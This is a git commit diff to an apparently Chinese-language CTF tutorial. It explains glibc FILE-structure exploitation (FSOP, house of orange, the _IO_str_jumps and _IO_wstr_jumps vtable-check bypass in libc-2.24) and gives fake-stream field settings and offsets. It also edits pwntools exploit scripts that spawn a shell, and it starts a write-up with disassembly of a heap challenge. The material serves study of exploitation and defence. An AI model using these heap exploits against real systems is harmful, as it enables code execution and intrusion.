finish 6.1.26

This commit is contained in:
firmianay 2018-06-06 22:53:46 +08:00
parent b512426901
commit 6301bcc4f8
7 changed files with 937 additions and 54 deletions

View File

@ -908,7 +908,7 @@ _IO_flush_all_lockp (int do_lock)
return result; return result;
} }
``` ```
`_IO_list_all` 是一个 `_IO_FILE_plus` 类型的对象,我们的目的就是将 `_IO_list_all` 指针改写为一个伪造的指针,它的 `_IO_OVERFLOW` 指向 system并且前 8 字节被设置为 '/bin/sh',所以对 `_IO_OVERFLOW(fp, EOF)` 的调用会变成对 `system('/bin/sh')` 的调用。 `_IO_list_all` 是一个 `_IO_FILE_plus` 类型的对象,我们的目的就是将 `_IO_list_all` 指针改写为一个伪造的指针,它的 `_IO_OVERFLOW` 指向 system并且前 8 字节被设置为 '/bin/sh',所以对 `_IO_OVERFLOW(fp, EOF)` 的调用最终会变成对 `system('/bin/sh')` 的调用。
```c ```c
// libio/libioP.h // libio/libioP.h
/* We always allocate an extra word following an _IO_FILE. /* We always allocate an extra word following an _IO_FILE.
@ -1001,7 +1001,7 @@ struct _IO_jump_t
``` ```
伪造 `_IO_jump_t` 中的 `__overflow` 为 system 函数的地址,从而达到执行 shell 的目的。 伪造 `_IO_jump_t` 中的 `__overflow` 为 system 函数的地址,从而达到执行 shell 的目的。
当发生内存错误进入 `_IO_flush_all_lockp` 后,`_IO_list_all` 仍然指向 unsorted bin这并不是一个我们能控制的地址。所以需要通过 `fp->_chain` 来将 fp 指向我们能控制的地方。所以将 size 字段设置为 0x61因为此时 `_IO_list_all``&unsorted_bin-0x10`,偏移 0x60 位置处是 smallbins[4](或者说 bins[6]。此时,如果触发一个不适合的 small chunk 分配malloc 就会将 old top 从 unsorted bin 放回 smallbins[4] 中。而在 `_IO_FILE` 结构中,偏移 0x60 指向 `struct _IO_marker *_markers`,偏移 0x68 指向 `struct _IO_FILE *_chain`,这两个值正好是 old top 的起始地址。这样 fp 就指向了 old top这是一个我们能够控制的地址。 当发生内存错误进入 `_IO_flush_all_lockp` 后,`_IO_list_all` 仍然指向 unsorted bin这并不是一个我们能控制的地址。所以需要通过 `fp->_chain` 来将 fp 指向我们能控制的地方。所以将 size 字段设置为 0x61因为此时 `_IO_list_all``&unsorted_bin-0x10`,偏移 0x60 位置上是 smallbins[5]。此时,如果触发一个不适合的 small chunk 分配malloc 就会将 old top 从 unsorted bin 放回 smallbins[5] 中。而在 `_IO_FILE` 结构中,偏移 0x60 指向 `struct _IO_marker *_markers`,偏移 0x68 指向 `struct _IO_FILE *_chain`,这两个值正好是 old top 的起始地址。这样 fp 就指向了 old top这是一个我们能够控制的地址。
在将 `_IO_OVERFLOW` 修改为 system 的时候,有一些条件检查: 在将 `_IO_OVERFLOW` 修改为 system 的时候,有一些条件检查:
```c ```c

View File

@ -2,8 +2,9 @@
- [FILE 结构](#file-结构) - [FILE 结构](#file-结构)
- [FSOP](#fsop) - [FSOP](#fsop)
- [防御机制](#防御机制) - [libc-2.24 防御机制](#libc-224-防御机制)
- [新的利用技术](#新的利用技术) - [libc-2.24 利用技术](#libc-224-利用技术)
- [最新动态](#最新动态)
- [CTF 实例](#ctf-实例) - [CTF 实例](#ctf-实例)
- [参考资料](#参考资料) - [参考资料](#参考资料)
@ -136,6 +137,35 @@ extern struct _IO_FILE_plus _IO_2_1_stderr_;
``` ```
进程中的 FILE 结构会通过 `_chain` 域构成一个链表,链表头部用全局变量 `_IO_list_all` 表示。 进程中的 FILE 结构会通过 `_chain` 域构成一个链表,链表头部用全局变量 `_IO_list_all` 表示。
另外 `_IO_wide_data` 结构也是后面需要的:
```c
/* Extra data for wide character streams. */
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
```
下面我们来看几个函数的实现。 下面我们来看几个函数的实现。
#### fopen #### fopen
```c ```c
@ -392,7 +422,7 @@ FSOPFile Stream Oriented Programming是一种劫持 `_IO_list_all`libc.
- 执行 exit 函数时 - 执行 exit 函数时
- main 函数返回时 - main 函数返回时
当 glibc 检测到内存错误时,会依次调用这样的函数路径:`malloc_printerr -> _libc_message -> abort -> _IO_flush_all_lockp`。 当 glibc 检测到内存错误时,会依次调用这样的函数路径:`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW`。
```c ```c
// libio/genops.c // libio/genops.c
@ -424,7 +454,7 @@ _IO_flush_all_lockp (int do_lock)
> fp->_wide_data->_IO_write_base)) > fp->_wide_data->_IO_write_base))
#endif #endif
) )
&& _IO_OVERFLOW (fp, EOF) == EOF) // 将其修改为 system 函数 && _IO_OVERFLOW (fp, EOF) == EOF) // fp 指向伪造的 vtable
result = EOF; result = EOF;
if (do_lock) if (do_lock)
@ -438,7 +468,7 @@ _IO_flush_all_lockp (int do_lock)
last_stamp = _IO_list_all_stamp; last_stamp = _IO_list_all_stamp;
} }
else else
fp = fp->_chain; // 指向我们指定的区域 fp = fp->_chain; // 指向下一个 IO_FILE 对象
} }
#ifdef _IO_MTSAFE_IO #ifdef _IO_MTSAFE_IO
@ -450,10 +480,81 @@ _IO_flush_all_lockp (int do_lock)
return result; return result;
} }
``` ```
于是对 `_IO_OVERFLOW(fp, EOF)` 的调用会变成对 `system('/bin/sh')` 的调用。 ```c
// libio/libioP.h
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
```
于是在 `_IO_OVERFLOW(fp, EOF)` 的执行过程中最终会调用 `system('/bin/sh')`
还有一条 FSOP 的路径是在关闭 stream 的时候:
```c
// libio/iofclose.c
int
_IO_new_fclose (_IO_FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp); // fp 指向伪造的 vtable
if (fp->_mode > 0)
{
#if _LIBC
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
#endif
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp);
}
return status;
}
```
```c
// libio/libioP.h
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
#define _IO_WFINISH(FP) WJUMP1 (__finish, FP, 0)
```
于是在 `_IO_FINISH (fp)` 的执行过程中最终会调用 `system('/bin/sh')`
## 防御机制 ## libc-2.24 防御机制
但是在 libc-2.24 中加入了对 vtable 指针的检查。这个 [commit](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=commitdiff;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51) 新增了两个函数:`IO_validate_vtable` 和 `_IO_vtable_check` 但是在 libc-2.24 中加入了对 vtable 指针的检查。这个 [commit](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=commitdiff;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51) 新增了两个函数:`IO_validate_vtable` 和 `_IO_vtable_check`
```c ```c
// libio/libioP.h // libio/libioP.h
@ -517,9 +618,12 @@ _IO_vtable_check (void)
所有的 libio vtables 被放进了专用的只读的 `__libc_IO_vtables`以使它们在内存中连续。在任何间接跳转之前vtable 指针将根据段边界进行检查,如果指针不在这个段,则调用函数 `_IO_vtable_check()` 做进一步的检查,并且在必要时终止进程。 所有的 libio vtables 被放进了专用的只读的 `__libc_IO_vtables`以使它们在内存中连续。在任何间接跳转之前vtable 指针将根据段边界进行检查,如果指针不在这个段,则调用函数 `_IO_vtable_check()` 做进一步的检查,并且在必要时终止进程。
## 新的利用技术 ## libc-2.24 利用技术
#### _IO_str_jumps
在防御机制下通过修改虚表的利用技术已经用不了了,但同时出现了新的利用技术。既然无法将 vtable 指针指向 `__libc_IO_vtables` 以外的地方,那么就在 `__libc_IO_vtables` 里面找些有用的东西。比如 `_IO_str_jumps`该符号在strip后会丢失 在防御机制下通过修改虚表的利用技术已经用不了了,但同时出现了新的利用技术。既然无法将 vtable 指针指向 `__libc_IO_vtables` 以外的地方,那么就在 `__libc_IO_vtables` 里面找些有用的东西。比如 `_IO_str_jumps`该符号在strip后会丢失
```c ```c
// libio/strops.c
const struct _IO_jump_t _IO_str_jumps libio_vtable = const struct _IO_jump_t _IO_str_jumps libio_vtable =
{ {
JUMP_INIT_DUMMY, JUMP_INIT_DUMMY,
@ -544,6 +648,11 @@ const struct _IO_jump_t _IO_str_jumps libio_vtable =
JUMP_INIT(imbue, _IO_default_imbue) JUMP_INIT(imbue, _IO_default_imbue)
}; };
``` ```
```c
// libio/libioP.h
#define JUMP_INIT_DUMMY JUMP_INIT(dummy, 0), JUMP_INIT (dummy2, 0)
```
这个 vtable 中包含了一个叫做 `_IO_str_overflow` 的函数,该函数中存在相对地址的引用(可伪造): 这个 vtable 中包含了一个叫做 `_IO_str_overflow` 的函数,该函数中存在相对地址的引用(可伪造):
```c ```c
int int
@ -574,52 +683,193 @@ _IO_str_overflow (_IO_FILE *fp, int c)
return EOF; return EOF;
new_buf new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); // 在这个相对地址放上 system 的地址,即 system("/bin/sh") = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); // 在这个相对地址放上 system 的地址,即 system("/bin/sh")
if (new_buf == NULL) [...]
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
``` ```
构造的条件如下: ```c
- _flags = 0 // libio/strfile.h
- _IO_buf_base = 0
- _IO_buf_end = (bin_sh - 100) / 2 struct _IO_str_fields
- _IO_write_ptr = 0x7fffffffffffffff {
- _IO_write_base = 0 _IO_alloc_type _allocate_buffer;
- _mode = 0 _IO_free_type _free_buffer;
};
struct _IO_streambuf
{
struct _IO_FILE _f;
const struct _IO_jump_t *vtable;
};
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
```
所以可以像下面这样构造:
- fp->_flags = 0
- fp->_IO_buf_base = 0
- fp->_IO_buf_end = (bin_sh_addr - 100) / 2
- fp->_IO_write_ptr = 0xffffffff
- fp->_IO_write_base = 0
- fp->_mode = 0
有一点要注意的是,如果 bin_sh_addr 的地址以奇数结尾,为了避免除法向下取整的干扰,可以将该地址加 1。另外 system("/bin/sh") 是可以用 one_gadget 来代替的,这样似乎更加简单。
完整的调用过程:`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_overflow`。
与传统的 house-of-orange 不同的是,这种利用方法不再需要知道 heap 的地址,因为 `_IO_str_jumps` vtable 是在 libc 上的,所以只要能泄露出 libc 的地址就可以了。 与传统的 house-of-orange 不同的是,这种利用方法不再需要知道 heap 的地址,因为 `_IO_str_jumps` vtable 是在 libc 上的,所以只要能泄露出 libc 的地址就可以了。
在这个 vtable 中,还有另一个函数 `_IO_str_finish`,它的检查条件比较简单:
```c
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) // 条件
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); // 在这个相对地址放上 system 的地址
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
```
只要在 `fp->_IO_buf_base` 放上 "/bin/sh" 的地址,然后设置 `fp->_flags = 0` 就可以了绕过函数里的条件。
那么怎样让程序进入 `_IO_str_finish` 执行呢,`fclose(fp)` 是一条路,但似乎有局限。还是回到异常处理上来,在 `_IO_flush_all_lockp` 函数中是通过 `_IO_OVERFLOW` 执行的 `__GI__IO_str_overflow`,而 `_IO_OVERFLOW` 是根据 `__overflow` 相对于 `_IO_str_jumps` vtable 的偏移找到具体函数的。所以如果我们伪造传递给 `_IO_OVERFLOW(fp)` 的 fp 是 vtable 的地址减去 0x8那么根据偏移程序将找到 `_IO_str_finish` 并执行。
所以可以像下面这样构造:
- fp->_mode = 0
- fp->_IO_write_ptr = 0xffffffff
- fp->_IO_write_base = 0
- fp->_wide_data->_IO_buf_base = bin_sh_addr (也就是 fp->_IO_write_end
- fp->_flags2 = 0
- fp->_mode = 0
完整的调用过程:`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_finish`。
#### _IO_wstr_jumps
`_IO_wstr_jumps` 也是一个符合条件的 vtable总体上和上面讲的 `_IO_str_jumps` 差不多:
```c
// libio/wstrops.c
const struct _IO_jump_t _IO_wstr_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_wstr_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstr_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
JUMP_INIT(xsputn, _IO_wdefault_xsputn),
JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
JUMP_INIT(seekoff, _IO_wstr_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_wdefault_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
```
利用函数 `_IO_wstr_overflow`
```c
_IO_wint_t
_IO_wstr_overflow (_IO_FILE *fp, _IO_wint_t c)
{
int flush_only = c == WEOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : WEOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_read_ptr;
fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_read_end;
}
pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_wblen (fp) + flush_only)) // 条件 #define _IO_wblen(fp) ((fp)->_wide_data->_IO_buf_end - (fp)->_wide_data->_IO_buf_base)
{
if (fp->_flags2 & _IO_FLAGS2_USER_WBUF) /* not allowed to enlarge */
return WEOF;
else
{
wchar_t *new_buf;
wchar_t *old_buf = fp->_wide_data->_IO_buf_base;
size_t old_wblen = _IO_wblen (fp);
_IO_size_t new_size = 2 * old_wblen + 100; // 使 new_size * sizeof(wchar_t) 为 "/bin/sh" 的地址
if (__glibc_unlikely (new_size < old_wblen)
|| __glibc_unlikely (new_size > SIZE_MAX / sizeof (wchar_t)))
return EOF;
new_buf
= (wchar_t *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size
* sizeof (wchar_t)); // 在这个相对地址放上 system 的地址
[...]
```
利用函数 `_IO_wstr_finish`
```c
void
_IO_wstr_finish (_IO_FILE *fp, int dummy)
{
if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF)) // 条件
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base); // 在这个相对地址放上 system 的地址
fp->_wide_data->_IO_buf_base = NULL;
_IO_wdefault_finish (fp, 0);
}
```
## 最新动态
来自 glibc 的 master 分支上的一次 [commit](https://sourceware.org/git/?p=glibc.git;a=commit;h=4e8a6346cd3da2d88bbad745a1769260d36f2783),不出意外应该会出现在 libc-2.28 中。
该方法简单粗暴,用操作堆的 malloc 和 free 替换掉原来在 `_IO_str_fields` 里的 `_allocate_buffer``_free_buffer`。由于不再使用偏移,就不能再利用 `__libc_IO_vtables` 上的 vtable 绕过检查,于是上面的利用技术就都失效了。:(
## CTF 实例 ## CTF 实例
请查看章节 6.1.24、6.1.25 和 6.1.26。另外在章节 3.1.8 中也有相关内容。 请查看章节 6.1.24、6.1.25 和 6.1.26。另外在章节 3.1.8 中也有相关内容。
附上偏移,构造时候方便一点:
```
0x0 _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable
```
## 参考资料 ## 参考资料
- [abusing the FILE structure](https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/) - [abusing the FILE structure](https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/)

View File

@ -708,7 +708,7 @@ gdb-peda$ x/36gx 0x5555557580c0+0x410
0x5555557585d0: 0x0000000000000001 0x0000000000000002 0x5555557585d0: 0x0000000000000001 0x0000000000000002
0x5555557585e0: 0x00007ffff7a53380 0x000000000000000a 0x5555557585e0: 0x00007ffff7a53380 0x000000000000000a
``` ```
可以看到 old top chunk 的 size 被改写为 0x60在下次分配时会先从 unsorted bin 中取下 old top chunk将其放到 smallbin[4]同时unsorted bin 的 bk 也将被改写成了 `&IO_list_all-0x10` 可以看到 old top chunk 的 size 被改写为 0x60在下次分配时会先从 unsorted bin 中取下 old top chunk将其放到 smallbins[5]同时unsorted bin 的 bk 也将被改写成了 `&IO_list_all-0x10`
#### pwn #### pwn
```python ```python
@ -716,7 +716,7 @@ def pwn():
io.sendlineafter("Your choice : ", '1') # abort routine io.sendlineafter("Your choice : ", '1') # abort routine
io.interactive() io.interactive()
``` ```
由于不能够通过检查,将触发异常处理过程,`malloc_printerr -> _libc_message -> abort -> _IO_flush_all_lockp`。 由于不能够通过检查,将触发异常处理过程,`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp`。
开启 ASLRBingo!!! 开启 ASLRBingo!!!
``` ```

View File

@ -150,7 +150,7 @@ def house_of_orange():
stream = p64(0) + p64(0x61) # fake header # fp stream = p64(0) + p64(0x61) # fake header # fp
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
stream += p64(0) # fp->_IO_write_base stream += p64(0) # fp->_IO_write_base
stream += p64(0x7fffffffffffffff) # fp->_IO_write_ptr stream += p64(0xffffffff) # fp->_IO_write_ptr
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
stream = stream.ljust(0xc0, '\x00') stream = stream.ljust(0xc0, '\x00')
@ -196,7 +196,7 @@ def pwn():
io.sendline("0") # abort routine io.sendline("0") # abort routine
io.interactive() io.interactive()
``` ```
最后触发异常处理,获得 shell。 最后触发异常处理,`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_overflow`获得 shell。
开启 ASLRBingo!!! 开启 ASLRBingo!!!
``` ```
@ -259,7 +259,7 @@ def house_of_orange():
stream = p64(0) + p64(0x61) # fake header # fp stream = p64(0) + p64(0x61) # fake header # fp
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
stream += p64(0) # fp->_IO_write_base stream += p64(0) # fp->_IO_write_base
stream += p64(0x7fffffffffffffff) # fp->_IO_write_ptr stream += p64(0xffffffff) # fp->_IO_write_ptr
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
stream = stream.ljust(0xc0, '\x00') stream = stream.ljust(0xc0, '\x00')

View File

@ -21,10 +21,543 @@ Compiled by GNU CC version 6.3.0 20170406.
``` ```
64 位程序 ,开启了 canary、NX 和 PIE默认开启 ASLR。 64 位程序 ,开启了 canary、NX 和 PIE默认开启 ASLR。
在 Ubuntu16.10 上玩一下:
```
) alloc
2) write
3) print
4) free
1 <-- alloc 1
slot? (0-9)
1
1) alloc
2) write
3) print
4) free
2
slot? (0-9)
1 <-- write 1
AAAAAAAAAAAAAAAA
1) alloc
2) write
3) print
4) free
4 <-- free 1
slot? (0-9)
1
1) alloc
2) write
3) print
4) free
2 <-- write 1
slot? (0-9)
1
BBBBBBBB
1) alloc
2) write
3) print
4) free
3 <-- print 1
slot? (0-9)
1
BBBBBBBB
AAAAAAA
1) alloc
2) write
3) print
4) free
3 <-- print 2
slot? (0-9)
2
Segmentation fault (core dumped)
```
很清晰的 4 个功能alloc、write、print 和 free。通过尝试似乎就发现了问题free 的时候没有将指针置空,导致 UAF。读入的字符串末尾没有加 `\x00` 导致信息泄露。最后如果 print 一个还没有 alloc 的 slot则出现段错误。
## 题目解析 ## 题目解析
#### main
```
[0x00000790]> pdf @ main
/ (fcn) main 180
| main ();
| ; var int local_20h @ rbp-0x20
| ; var int local_14h @ rbp-0x14
| ; var int local_8h @ rbp-0x8
| ; var int local_4h @ rbp-0x4
| ; DATA XREF from 0x000007ad (entry0)
| 0x00000a91 push rbp
| 0x00000a92 mov rbp, rsp
| 0x00000a95 sub rsp, 0x20
| 0x00000a99 mov dword [local_14h], edi
| 0x00000a9c mov qword [local_20h], rsi
| ; CODE XREF from 0x00000b40 (main)
| .-> 0x00000aa0 mov eax, 0
| : 0x00000aa5 call sym.menu
| : 0x00000aaa mov eax, 0
| : 0x00000aaf call sym.read_int ; ssize_t read(int fildes, void *buf, size_t nbyte)
| : 0x00000ab4 mov dword [local_8h], eax
| : 0x00000ab7 lea rdi, str.slot___0_9 ; 0xbfe ; "slot? (0-9)"
| : 0x00000abe call sym.myputs
| : 0x00000ac3 mov eax, 0
| : 0x00000ac8 call sym.read_int ; 读入 slot
| : 0x00000acd mov dword [local_4h], eax ; slot 放到 [local_4h]
| : 0x00000ad0 cmp dword [local_4h], 0
| ,==< 0x00000ad4 js 0xadc ; slot 小于 0 时跳转程序退出
| |: 0x00000ad6 cmp dword [local_4h], 9 ; [0x9:4]=0
| ,===< 0x00000ada jle 0xae6 ; slot 小于等于 9 时跳转
| ||: ; CODE XREF from 0x00000ad4 (main)
| |`--> 0x00000adc mov edi, 0
| | : 0x00000ae1 call sym.imp.exit ; void exit(int status)
| | : ; CODE XREF from 0x00000ada (main)
| `---> 0x00000ae6 mov eax, dword [local_8h]
| : 0x00000ae9 cmp eax, 2
| ,==< 0x00000aec je 0xb12 ; write
| |: 0x00000aee cmp eax, 2
| ,===< 0x00000af1 jg 0xafa
| ||: 0x00000af3 cmp eax, 1
| ,====< 0x00000af6 je 0xb06 ; alloc
| ,=====< 0x00000af8 jmp 0xb36
| ||||: ; CODE XREF from 0x00000af1 (main)
| ||`---> 0x00000afa cmp eax, 3
| ||,===< 0x00000afd je 0xb1e ; print
| ||||: 0x00000aff cmp eax, 4
| ,======< 0x00000b02 je 0xb2a ; free
| ,=======< 0x00000b04 jmp 0xb36
| ||||||: ; CODE XREF from 0x00000af6 (main)
| |||`----> 0x00000b06 mov eax, dword [local_4h] ; 取出 slot
| ||| ||: 0x00000b09 mov edi, eax
| ||| ||: 0x00000b0b call sym.alloc_it ; 调用函数 alloc_it(slot)
| |||,====< 0x00000b10 jmp 0xb40
| ||||||: ; CODE XREF from 0x00000aec (main)
| |||||`--> 0x00000b12 mov eax, dword [local_4h] ; 取出 slot
| ||||| : 0x00000b15 mov edi, eax
| ||||| : 0x00000b17 call sym.write_it ; 调用函数 write_it(slot)
| |||||,==< 0x00000b1c jmp 0xb40
| ||||||: ; CODE XREF from 0x00000afd (main)
| ||||`---> 0x00000b1e mov eax, dword [local_4h] ; 取出 slot
| |||| |: 0x00000b21 mov edi, eax
| |||| |: 0x00000b23 call sym.print_it ; 调用函数 print_it(slot)
| ||||,===< 0x00000b28 jmp 0xb40
| |`------> 0x00000b2a mov eax, dword [local_4h] ; 取出 slot
| | ||||: 0x00000b2d mov edi, eax
| | ||||: 0x00000b2f call sym.free_it ; 调用函数 free_it(slot)
| |,======< 0x00000b34 jmp 0xb40
| ||||||: ; CODE XREF from 0x00000b04 (main)
| ||||||: ; CODE XREF from 0x00000b03 (main)
| ||||||: ; CODE XREF from 0x00000af8 (main)
| `-`-----> 0x00000b36 mov edi, 0
| | |||: 0x00000b3b call sym.imp.exit ; void exit(int status)
| | |||| ; CODE XREF from 0x00000b28 (main)
| | |||| ; CODE XREF from 0x00000b34 (main)
| | |||| ; CODE XREF from 0x00000b1c (main)
| | |||| ; CODE XREF from 0x00000b10 (main)
\ `-````=< 0x00000b40 jmp 0xaa0
```
从 main 函数中我们知道,程序的所有操作都是基于 slot。
#### alloc
```
[0x00000790]> pdf @ sym.alloc_it
/ (fcn) sym.alloc_it 51
| sym.alloc_it ();
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from 0x00000b0b (main)
| 0x000009ca push rbp
| 0x000009cb mov rbp, rsp
| 0x000009ce sub rsp, 0x10
| 0x000009d2 mov dword [local_4h], edi ; slot 放到 [local_4h]
| 0x000009d5 mov edi, 0x300
| 0x000009da call sym.imp.malloc ; rax = malloc(0x300) 分配堆空间
| 0x000009df mov rcx, rax
| 0x000009e2 mov eax, dword [local_4h]
| 0x000009e5 cdqe
| 0x000009e7 lea rdx, [rax*8] ; rdx = slot * 8
| 0x000009ef lea rax, obj.allocs ; 0x202040
| 0x000009f6 mov qword [rdx + rax], rcx ; 将该空间的地址放到 [0x202040 + slot * 8]
| 0x000009fa nop
| 0x000009fb leave
\ 0x000009fc ret
[0x00000790]> px 0x8*10 @ obj.allocs
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00202040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00202050 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00202060 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00202070 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00202080 0000 0000 0000 0000 0000 0000 0000 0000 ................
```
该函数固定分配 0x300 的空间,然后根据 slot 将返回地址放到从 `0x202040` 开始的数组 allocs 中。
#### write
```
[0x00000790]> pdf @ sym.write_it
/ (fcn) sym.write_it 56
| sym.write_it ();
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from 0x00000b17 (main)
| 0x000009fd push rbp
| 0x000009fe mov rbp, rsp
| 0x00000a01 sub rsp, 0x10
| 0x00000a05 mov dword [local_4h], edi ; slot 放到 [local_4h]
| 0x00000a08 mov eax, dword [local_4h]
| 0x00000a0b cdqe
| 0x00000a0d lea rdx, [rax*8]
| 0x00000a15 lea rax, obj.allocs ; 0x202040
| 0x00000a1c mov rax, qword [rdx + rax] ; 取出 allocs[slot]
| 0x00000a20 mov edx, 0x300
| 0x00000a25 mov rsi, rax
| 0x00000a28 mov edi, 0
